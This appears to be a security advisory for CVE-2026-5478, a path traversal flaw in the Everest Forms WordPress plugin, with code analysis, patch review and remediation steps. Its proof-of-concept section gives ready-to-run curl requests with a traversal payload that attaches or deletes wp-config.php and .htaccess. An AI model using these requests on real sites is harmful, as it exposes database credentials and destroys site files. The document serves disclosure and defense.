CVE-2026-5478: Path Traversal File Read in Everest Forms
Table of Contents
CVE-2026-5478 is a CVSS 8.1 (High) unauthenticated path traversal vulnerability in the Everest Forms WordPress plugin. An unauthenticated attacker can inject a path-traversal payload into the old_files parameter of any public form submission. The plugin then attaches the targeted files — including wp-config.php — to the admin notification email. After the email is sent, that code also calls unlink(), permanently deleting the file from the server.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder |
| Plugin Slug | everest-forms |
| CVE ID | CVE-2026-5478 |
| CVSS Score | 8.1 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Unauthenticated Arbitrary File Read and Deletion via Path Traversal |
| Affected Versions | <= 3.4.4 |
| Patched Version | 3.4.5 |
| Published | April 20, 2026 |
| Researcher | ll |
| Wordfence Advisory | Link |
Description
The Everest Forms plugin for WordPress is vulnerable to Arbitrary File Read and Deletion in all versions up to, and including, 3.4.4. The plugin treats old_files data from public form submissions as trusted server state. It converts those URLs into local filesystem paths using simple regex replacement — without canonicalization (resolving .. to the real path) or checking that the result stays inside the uploads folder.
Unauthenticated attackers can inject path-traversal payloads into old_files. The plugin attaches the targeted files — including wp-config.php — to the admin notification email. The same path resolution runs in the post-email cleanup routine. After sending the email, the plugin calls unlink() on that path — permanently deleting the file.
This can lead to full site compromise through disclosure of database credentials and authentication salts from wp-config.php, and denial of service through deletion of critical files.
However, three conditions must be met for the attack to work.
Prerequisite: The Everest Forms Save and Continue addon must be active (defines EVF_SAVE_AND_CONTINUE_VERSION), the form must contain a file-upload or image-upload field, and the form setting “Disable storing entry information” (disabled_entries = 1) must be enabled.
Technical Analysis
Vulnerable Code Path
Step 1 — Reading old_files from POST with no sanitization
File: includes/class-evf-form-task.php (line 546–548)
if ( in_array( $field_type, array( 'file-upload', 'image-upload' ) ) && defined( 'EVF_SAVE_AND_CONTINUE_VERSION' ) ) {
$field_submit['new_files'] = isset( $_POST[ 'everest_forms_' . $form_id . '_' . $field_id ] ) ? stripslashes_deep( $_POST[ 'everest_forms_' . $form_id . '_' . $field_id ] ) : array();
$field_submit['old_files'] = isset( $_POST[ 'everest_forms_' . $form_id . '_old_' . $field_id ] ) ? stripslashes_deep( $_POST[ 'everest_forms_' . $form_id . '_old_' . $field_id ] ) : array();
stripslashes_deep() only removes backslash escaping — it does not validate the content. An unauthenticated attacker can supply any array of JSON strings in everest_forms_{form_id}_old_{field_id}[].
Step 2 — Merging injected old_files into $data without URL validation
File: includes/abstracts/class-evf-form-fields-upload.php (lines 1306–1318)
if ( isset( $field_submit['old_files'] ) ) {
$old_data = array_map(
function ( $file ) {
$decoded = json_decode( $file, true );
return is_array( $decoded ) ? $decoded : array();
},
$field_submit['old_files']
);
$data = array_merge( $data, $old_data );
}
The plugin decodes each JSON string from old_files and merges the resulting array directly into $data. No checks are performed on $decoded['value'] — an attacker-supplied URL like https://victim.com/wp-content/../wp-config.php is accepted without modification.
Step 3 — Path traversal in attach_entry_files_upload() for file read
File: includes/abstracts/class-evf-form-fields-upload.php (lines 1660–1669)
} elseif ( isset( $meta_value['type'] ) && ( 'file-upload' === $meta_value['type'] && isset( $meta_value['value_raw'] ) || 'image-upload' === $meta_value['type'] && isset( $meta_value['value_raw'] ) ) ) {
foreach ( $meta_value['value_raw'] as $file_data ) {
if ( isset( $file_data['value'] ) ) {
$file_url = $file_data['value'];
$uploaded_file = ABSPATH . preg_replace( '/.*wp-content/', 'wp-content', wp_parse_url( $file_url, PHP_URL_PATH ) );
if ( ! in_array( $uploaded_file, $entry_files ) && file_exists( $uploaded_file ) ) {
$entry_files[] = $uploaded_file;
}
}
}
}
For an injected URL of https://victim.com/wp-content/../wp-config.php, the path resolution works like this:
wp_parse_url($file_url, PHP_URL_PATH)→/wp-content/../wp-config.phppreg_replace('/.*wp-content/', 'wp-content', ...)→wp-content/../wp-config.phpABSPATH . 'wp-content/../wp-config.php'→/var/www/html/wp-content/../wp-config.php- The OS resolves
..duringfile_exists(), finding/var/www/html/wp-config.php - The file is added to
$entry_filesand attached to the notification email
Step 4 — File deletion via unlink() in remove_csv_file_after_email_send()
File: includes/abstracts/class-evf-form-fields-upload.php (lines 1574–1583)
if ( isset( $meta_value['type'] ) && ( 'file-upload' === $meta_value['type'] && isset( $meta_value['value_raw'] ) || 'image-upload' === $meta_value['type'] && isset( $meta_value['value_raw'] ) ) ) {
foreach ( $meta_value['value_raw'] as $file_data ) {
if ( isset( $file_data['value'] ) ) {
$file_url = $file_data['value'];
$uploaded_file = ABSPATH . preg_replace( '/.*wp-content/', 'wp-content', wp_parse_url( $file_url, PHP_URL_PATH ) );
if ( file_exists( $uploaded_file ) ) {
unlink( $uploaded_file );
}
}
}
}
The identical path resolution runs in the post-email cleanup routine. After the notification email is delivered with wp-config.php as an attachment, unlink() is called on the traversal-resolved path, permanently deleting the file.
Hook registrations connecting the above
File: includes/abstracts/class-evf-form-fields-upload.php (lines 41–43)
add_filter( 'everest_forms_email_file_attachments', array( $this, 'send_file_as_email_attachment' ), 99, 6 );
add_action( 'everest_forms_remove_attachments_after_send_email', array( $this, 'remove_csv_file_after_email_send' ), 10, 6 );
send_file_as_email_attachment calls attach_entry_files_upload() (the file read step) when disabled_entries = 1. remove_csv_file_after_email_send (the deletion step) fires immediately after the email is sent.
Root Cause
The root cause is trusting attacker-supplied file references without boundary enforcement. The old_files POST parameter is designed to carry references to previously-uploaded files during a multi-step “Save and Continue” session. The plugin decodes these references and uses them as the real filesystem paths with no validation that the resolved path stays within the WordPress uploads directory. The regex preg_replace('/.*wp-content/', 'wp-content', ...) strips the URL origin but keeps .. path segments intact. The OS then resolves those segments when file_exists() and unlink() run.
Why Existing Controls Failed
- Nonce check (
wp_verify_nonce): The nonce (_wpnonce{form_id}) is embedded in the public form’s HTML. Any visitor can retrieve it, so it protects only against CSRF, not unauthenticated exploitation. evf_sanitize_entry(): Forfile-uploadandimage-uploadfields, the sanitizer passes array values through as-is (is_array($entry['form_fields'][$key]) ? $entry['form_fields'][$key] : ...). Even ifold_fileswere inside this data, it would not be sanitized.stripslashes_deep()on POST: Strips backslashes only; does not validate URL structure or path contents.esc_url_raw()(applied to some fields): Does not remove..directory traversal segments from URL paths.
Attack Impact
An unauthenticated attacker with access to a public form can:
- Read arbitrary local files — attach any file readable by the web server process to a notification email sent to the form owner, including
wp-config.php(database credentials, authentication keys and salts, table prefix). - Delete arbitrary local files — permanently
unlink()any file reachable by the web server, includingwp-config.php,index.php,.htaccess, or WordPress core files, leading to full site denial of service. - Chain into full site takeover — extracted
wp-config.phpcredentials may be used for direct database access, authentication bypass, or privilege escalation.
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress installation with the
everest-formsplugin installed and activated (version <= 3.4.4) - Everest Forms Save and Continue addon installed and active
- A published form containing at least one File Upload or Image Upload field
- The form’s “Disable storing entry information” setting is enabled (
disabled_entries = 1) - The form has an email notification connection configured (for file read via attachment)
FORM_ID— the numeric ID of the target form (visible in the form’s URL in wp-admin or in the form shortcode)FIELD_ID— the ID of the file-upload field (visible in the field’s “Advanced” tab in the form builder, e.g.everest_forms_field_0)SITE_URL— the target WordPress site URL
Step-by-Step Reproduction
Step 1: Retrieve the form submission nonce
Visit any page where the form is embedded and extract the nonce from the form HTML:
SITE_URL="https://victim.example.com"
FORM_ID=1
FIELD_ID="everest_forms_field_0"
# Fetch the page and extract the nonce (adjust the grep pattern to match your form ID)
curl -s "$SITE_URL/contact/" | grep -oP "_wpnonce${FORM_ID}\s*value=\"\K[^\"]*"
Note the nonce value as NONCE.
Step 2: Craft the malicious old_files payload
The payload is a JSON-encoded file reference where value contains a path-traversal URL pointing to wp-config.php. The hostname in the URL must match the target site (the plugin does not validate the origin strictly — only the path is used):
# Craft the JSON payload that will traverse from wp-content to wp-config.php
PAYLOAD='{"value":"https://victim.example.com/wp-content/../wp-config.php","name":"wp-config.php","file_name_new":"wp-config.php","file_url":"https://victim.example.com/wp-content/../wp-config.php","type":"file-upload"}'
Step 3: Submit the form with the injected old_files parameter
SITE_URL="https://victim.example.com"
FORM_ID=1
FIELD_ID="everest_forms_field_0"
NONCE="<nonce from Step 1>"
curl -s -X POST "$SITE_URL/wp-admin/admin-ajax.php" \
-d "action=everest_forms_submit" \
-d "everest_forms[id]=$FORM_ID" \
-d "_wpnonce${FORM_ID}=$NONCE" \
-d "everest_forms[form_fields][${FIELD_ID}][]=" \
--data-urlencode "everest_forms_${FORM_ID}_old_${FIELD_ID}[]=${PAYLOAD}"
Alternatively, if the form submits to a page URL (non-AJAX):
curl -s -X POST "$SITE_URL/contact/" \
-d "everest_forms[id]=$FORM_ID" \
-d "_wpnonce${FORM_ID}=$NONCE" \
-d "everest_forms[form_fields][${FIELD_ID}][]=" \
--data-urlencode "everest_forms_${FORM_ID}_old_${FIELD_ID}[]=${PAYLOAD}"
Step 4: (File Deletion variant) — Trigger deletion without read
If the form does NOT have notification email configured but disabled_entries = 1 is set, the deletion still fires via remove_csv_file_after_email_send. Submitting the same payload will cause unlink() to be called on the resolved path after any email attempt, deleting wp-config.php.
To target a different critical file, change the value field. Examples:
# Delete .htaccess
'{"value":"https://victim.example.com/wp-content/../.htaccess","name":".htaccess",...}'
# Read/delete a plugin's license key file
'{"value":"https://victim.example.com/wp-content/../wp-content/plugins/some-plugin/license.key","name":"license.key",...}'
Expected Result
- File Read: The form owner’s notification email arrives with
wp-config.phpas an attachment. The email body is the standard form submission notification; the attachment contains the full plaintext content ofwp-config.php, includingDB_NAME,DB_USER,DB_PASSWORD,AUTH_KEY,SECURE_AUTH_KEY, and all authentication salts. - File Deletion:
wp-config.phpis permanently deleted from the server. WordPress will then present a fresh-install screen to all visitors (wp-config.phpmissing causes WordPress to redirect to the installer), causing a full denial of service.
Verification
For file read:
- Check the form owner’s inbox for a notification email with an unexpected file attachment
- The attachment contains the
wp-config.phpcontent
For file deletion:
- After submitting, attempt to load the WordPress site — if
wp-config.phpwas deleted, WordPress will show the setup wizard (wp-admin/setup-config.phpredirect) - Alternatively:
ls -la /path/to/wordpress/wp-config.php— the file will be absent
Patch Analysis
What Changed
The fix is concentrated in two files:
includes/abstracts/class-evf-form-fields-upload.php— core path-validation logicincludes/class-evf-form-task.php— defense-in-depth: sanitize$field_submitbefore populating from POST
Fix Explanation
New method: resolve_uploads_file_from_url() (3.4.5, line 1759)
The patch introduces a dedicated validation method that enforces strict directory boundary checking:
protected function resolve_uploads_file_from_url( $file_url ) {
if ( empty( $file_url ) || ! is_string( $file_url ) ) {
return false;
}
$file_url = esc_url_raw( $file_url );
$upload_dir = wp_get_upload_dir();
$uploads_baseurl = trailingslashit( $upload_dir['baseurl'] );
$uploads_basedir = wp_normalize_path( trailingslashit( $upload_dir['basedir'] ) );
// Must start with the uploads base URL — rejects wp-config, .htaccess, etc.
if ( 0 !== strpos( $file_url, $uploads_baseurl ) ) {
return false;
}
$path = wp_parse_url( $file_url, PHP_URL_PATH );
$base_path = wp_parse_url( $uploads_baseurl, PHP_URL_PATH );
if ( ! is_string( $path ) || ! is_string( $base_path ) || 0 !== strpos( $path, $base_path ) ) {
return false;
}
$relative_path = ltrim( substr( $path, strlen( $base_path ) ), '/' );
$candidate = wp_normalize_path( $uploads_basedir . $relative_path );
$resolved_path = realpath( $candidate ); // canonicalization — resolves ..
if ( false === $resolved_path ) {
return false;
}
$resolved_path = wp_normalize_path( $resolved_path );
// After canonicalization, path must STILL be inside uploads dir
if ( 0 !== strpos( $resolved_path, $uploads_basedir ) || ! is_file( $resolved_path ) ) {
return false;
}
return $resolved_path;
}
The key defense is realpath() followed by strpos($resolved_path, $uploads_basedir): after all .. segments are resolved, the canonical path must remain inside uploads/. Any traversal attempt that escapes the uploads directory causes the method to return false, and the caller skips the file.
format() method — validated old_files merging (3.4.5, lines 1362–1386)
if ( isset( $field_submit['old_files'] ) && is_array( $field_submit['old_files'] ) ) {
$validated_old_data = array();
foreach ( $field_submit['old_files'] as $file ) {
$decoded = json_decode( $file, true );
if ( ! is_array( $decoded ) || empty( $decoded['value'] ) || ! is_string( $decoded['value'] ) ) {
continue;
}
$resolved_path = $this->resolve_uploads_file_from_url( $decoded['value'] );
if ( false === $resolved_path ) {
continue; // reject traversal payloads
}
$decoded['value'] = esc_url_raw( $decoded['value'] );
$validated_old_data[] = $decoded;
}
if ( ! empty( $validated_old_data ) ) {
$data = array_merge( $data, $validated_old_data );
}
}
class-evf-form-task.php — defense-in-depth unset (3.4.5)
if ( in_array( $field_type, array( 'file-upload', 'image-upload' ), true ) ) {
if ( is_array( $field_submit ) ) {
unset( $field_submit['old_files'], $field_submit['new_files'] ); // clear any injected values
}
if ( defined( 'EVF_SAVE_AND_CONTINUE_VERSION' ) ) {
// ... then re-populate from POST
}
}
The patch unconditionally clears old_files and new_files from $field_submit. It re-populates them only when the Save and Continue addon is active. This ensures no stale or injected values reach the format() call.
Is the fix complete? Yes. The combination of:
realpath()canonicalization before directory boundary check- Strict
strpos($resolved_path, $uploads_basedir)check post-canonicalization - Proactive
unset()ofold_files/new_filesin the task handler
closes the traversal vector at every point in the execution chain. The deleted_files processing in the task handler was also similarly hardened with uploads_baseurl prefix checks.
Code Diff (Key Changes)
- if ( isset( $field_submit['old_files'] ) ) {
-
- $old_data = array_map(
- function ( $file ) {
- $decoded = json_decode( $file, true );
-
- return is_array( $decoded ) ? $decoded : array();
- },
- $field_submit['old_files']
- );
-
- $data = array_merge( $data, $old_data );
- }
+ if ( isset( $field_submit['old_files'] ) && is_array( $field_submit['old_files'] ) ) {
+
+ $validated_old_data = array();
+
+ foreach ( $field_submit['old_files'] as $file ) {
+ $decoded = json_decode( $file, true );
+
+ if ( ! is_array( $decoded ) || empty( $decoded['value'] ) || ! is_string( $decoded['value'] ) ) {
+ continue;
+ }
+
+ $resolved_path = $this->resolve_uploads_file_from_url( $decoded['value'] );
+
+ if ( false === $resolved_path ) {
+ continue;
+ }
+
+ $decoded['value'] = esc_url_raw( $decoded['value'] );
+ $validated_old_data[] = $decoded;
+ }
+
+ if ( ! empty( $validated_old_data ) ) {
+ $data = array_merge( $data, $validated_old_data );
+ }
+ }
- $uploaded_file = ABSPATH . preg_replace( '/.*wp-content/', 'wp-content', wp_parse_url( $file_url, PHP_URL_PATH ) );
- if ( ! in_array( $uploaded_file, $entry_files ) && file_exists( $uploaded_file ) ) {
- $entry_files[] = $uploaded_file;
+ $resolved = $this->resolve_uploads_file_from_url( $file_url );
+ if ( false !== $resolved && ! in_array( $resolved, $entry_files ) ) {
+ $entry_files[] = $resolved;
Timeline
| Date | Event |
|---|---|
| Unknown | Vulnerability discovered and reported by researcher “ll” |
| April 20, 2026 | Publicly disclosed by Wordfence |
| April 20, 2026 | Patched version 3.4.5 released |
Remediation
Update the everest-forms plugin to version 3.4.5 or later.
If an immediate update is not possible:
- Disable the Everest Forms Save and Continue addon
- Or disable the “Disable storing entry information” setting on all forms that have file-upload or image-upload fields
References
- https://plugins.trac.wordpress.org/browser/everest-forms/tags/3.4.4/includes/abstracts/class-evf-form-fields-upload.php#L1306
- https://plugins.trac.wordpress.org/browser/everest-forms/tags/3.4.4/includes/abstracts/class-evf-form-fields-upload.php#L1665
- https://plugins.trac.wordpress.org/browser/everest-forms/tags/3.4.4/includes/abstracts/class-evf-form-fields-upload.php#L1581
- https://plugins.trac.wordpress.org/changeset/3507814/everest-forms
Frequently Asked Questions
What is CVE-2026-5478?
CVE-2026-5478 is a CVSS 8.1 High severity unauthenticated path traversal vulnerability in the Everest Forms WordPress plugin that lets any visitor read and permanently delete arbitrary files from the server, including wp-config.php.
Which versions of Everest Forms are affected by CVE-2026-5478?
All versions up to and including 3.4.4 are affected. Version 3.4.5 contains the fix and is safe to use.
What can an attacker do with CVE-2026-5478?
An attacker can read any file the web server can access — including wp-config.php, which contains database credentials and authentication keys — by having it emailed to the site owner. The attacker can also permanently delete critical files like wp-config.php, taking down the entire site.
Does an attacker need to be logged in to exploit CVE-2026-5478?
No. Any unauthenticated visitor who can reach a public form on the site can exploit this vulnerability. No WordPress account or special privileges are required.
How do I fix CVE-2026-5478 in Everest Forms?
Update the Everest Forms plugin to version 3.4.5 or later through your WordPress dashboard under Plugins, Updates. If you cannot update immediately, deactivate the Save and Continue addon or disable the Disable storing entry information setting on all forms with file upload fields.
Has Everest Forms been patched for CVE-2026-5478?
Yes. Version 3.4.5 was released on April 20, 2026 and fully resolves this vulnerability by enforcing strict directory boundary checks on all file references.